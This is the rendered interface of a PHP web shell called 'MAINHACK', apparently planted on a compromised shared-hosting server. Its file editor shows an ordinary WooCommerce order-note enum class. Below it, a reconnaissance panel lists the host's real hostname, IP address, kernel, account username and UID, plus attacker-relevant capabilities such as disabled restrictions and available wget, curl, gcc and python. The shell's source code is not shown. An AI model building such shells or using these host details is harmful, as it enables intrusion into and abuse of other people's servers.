[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: OrderNoteGroup.php
<?php declare( strict_types = 1 ); namespace Automattic\WooCommerce\Internal\Orders; /** * Enum class for order note groups. This is stored as meta data to categorize order notes. * * This is not surfaced in core UI presently. */ final class OrderNoteGroup { /** * Any note concerning errors. * * @var string */ public const ERROR = 'error'; /** * Any note concerning emails to customers. * * @var string */ public const EMAIL_NOTIFICATION = 'email_notification'; /** * Any note concerning stock levels. * * @var string */ public const PRODUCT_STOCK = 'product_stock'; /** * Any note concerning payments. * * @var string */ public const PAYMENT = 'payment'; /** * Any note concerning order updates. * * @var string */ public const ORDER_UPDATE = 'order_update'; /** * Get the default group title for a given group. * * @param string $group The group. * @return string The default group title. */ public static function get_default_group_title( string $group ): string { switch ( $group ) { case self::PRODUCT_STOCK: return __( 'Product stock', 'woocommerce' ); case self::PAYMENT: return __( 'Payment', 'woocommerce' ); case self::EMAIL_NOTIFICATION: return __( 'Email notification', 'woocommerce' ); case self::ERROR: return __( 'Error', 'woocommerce' ); default: return __( 'Order updated', 'woocommerce' ); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.2 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252